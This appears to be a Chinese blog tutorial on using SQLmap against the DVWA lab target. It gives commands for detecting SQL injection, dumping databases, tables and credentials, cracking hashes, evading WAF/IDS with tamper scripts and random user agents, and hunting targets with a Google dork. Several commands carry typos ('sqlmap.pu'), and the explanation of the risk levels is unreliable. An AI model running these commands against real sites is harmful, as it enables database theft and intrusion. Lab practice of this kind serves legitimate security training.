SQLmap是一款开源的SQL注入工具,用于检测和利用Web应用程序的SQL注入漏洞。SQLmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等,并支持各种不同的操作系统和平台。
SQLmap的下载及安装本文不再详述,下载链接:https://github.com/sqlmapproject/sqlmap
本文以DVWA作为靶场,留言板项目渗透实例可参考:留言板项目SQLmap渗透实例 | CSDN@秋说
本文分为目标
、脱库
、账号
与其它
四个部分进行讲解
1)检测指定URL是否存在SQL注入漏洞:
python sqlmap.py -u 目标URL
2)设置Cookie参数,绕过Web应用程序的安全检查,检测是否含有SQL注入漏洞:
python sqlmap.py -u 目标URL --cookie="cookie参数"
实例如下:
提取URL进行注入:
通过上图回显可以看到302定向到login.php,故需附上cookie
由于控制台并不能回显PHP session,故通过bp抓包得到cookie:
security=low; PHPSESSID=blp5j1964tfgiov6iusv24m9uj
故POC如下:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj"
结果如下:
说明存在SQL注入漏洞。
1)检测指定文件中的全部URL是否存在SQL注入漏洞
python sqlmap.py -m 文件名
实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说
2)通过POST请求包进行SQL注入(Burp抓包),检测是否含有SQL注入漏洞
python sqlmap.py -r POST请求包
或
python sqlmap.py -u "http://example.com/login.php" --data "username=1&password=1"(注入点)
实例参考该链接:留言板项目SQLmap渗透实例 | CSDN@秋说
3)指定进行检测的数据库类型
python sqlmap.py -u 目标URL -dbms 数据库类型
-D 指定数据库
-T 指定表
-C 指定字段
在确定能够使用SQLmap进行注入后,可以进行脱库操作。
python sqlmap.py -u 目标URL -b
实例如下:
POC含有Cookie参数
python sqlmap.py -u 目标URL --current-db
实例如下:
POC含有Cookie参数
python sqlmap.py -u 目标URL --dbs
实例如下:
图中的POC含有Cookie参数
回显如下,存在两个数据库,一个为dvwa,一个为information_schema
python sqlmap.py -u 目标URL -D 数据库名称 --tables
实例如下:
这里列出dvwa数据库所有的表,POC含有Cookie参数
回显如下,两个表,一个为guestbook,一个为users:
python sqlmap.py -u 目标URL -D 数据库名称 -T 表名称 --dump
实例如下:
这里列出users所有的数据,POC含有Cookie参数
由于密码经过hash加密,SQLmap会通过不同的加密算法遍历每个字符串,将得到的hash值与数据库中的hash进行匹配:
如图是使用md5加密后进行匹配得到密码的部分结果:
结果如图:
python sqlmap.py -u 目标URL --search
python sqlmap.pu -u 目标URL --tamper
python sqlmap.pu -u 目标URL -a
实例如下:
POC包含cookie参数
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=blp5j1964tfgiov6iusv24m9uj" -a
结果如图:
python sqlmap.pu -u 目标URL --current -user
实例如下:
回显如下,当前用户为admin:
python sqlmap.pu -u 目标URL --is-dba
实例如下:
回显如下:
当前用户不是管理员
python sqlmap.pu -u 目标URL --users
python sqlmap.pu -u 目标URL --privileges
实例如下:
当前权限为USAGE
python sqlmap.pu -u 目标URL --passwords
python sqlmap.pu -u 目标URL --hostname
回显如下:
python sqlmap.pu -u 目标URL --statements
python sqlmap.py -u 目标URL --technique=T --time-sec 10 --level=3 --risk=3 --current-user --current-db --passwords
1)不再询问确认:
python sqlmap.pu -u 目标URL --batch
2)指定请求方式:
python sqlmap.pu -u 目标URL --method=GET
3)随机UA:
python sqlmap.pu -u 目标URL --random-agent
4)自定义UA:
python sqlmap.pu -u 目标URL --user-agent''
5)自定义referer:
python sqlmap.pu -u 目标URL --referer''
6)指定代理:
python sqlmap.pu -u 目标URL --proxy="127.0.0.1:8080"
7)指定线程数(由1至10):
python sqlmap.pu -u 目标URL --threads 10
8)使用搜索功能来查找漏洞:
python sqlmap.py -u 目标URL --google-dork "inurl:php?id="
9)指定测试等级(由1至5):
python sqlmap.pu -u 目标URL --level=1
10)指定风险等级(由0至3):
python sqlmap.pu -u 目标URL --risk=1
level参数:指定扫描深度的级别,范围为1-5,级别越高,扫描的深度就越深。具体含义如下:
1级别:只做最基本的测试,速度最快。
2级别:会测试大部分的注入点,但不会尝试绕过WAF或IDS等安全设备。
3级别:会测试所有可疑的注入点,并尝试绕过WAF或IDS等安全设备。
4级别:比较耗时,会进行一些额外的测试和检测。
5级别:最深度的测试,将尽可能地测试所有的注入点和漏洞。
risk参数:指定扫描的风险级别,范围为0-3,级别越高,扫描的敏感性越高。具体含义如下:
0级别:只针对一些非常明显的、极易被发现的漏洞进行测试。
1级别:测试所有普通的注入点。
2级别:测试所有可疑的注入点,并使用一些高级的技术尝试绕过安全机制。
3级别:最高风险级别,尝试针对所有可能的注入点进行测试,并使用一切可用的技术和手段进行攻击。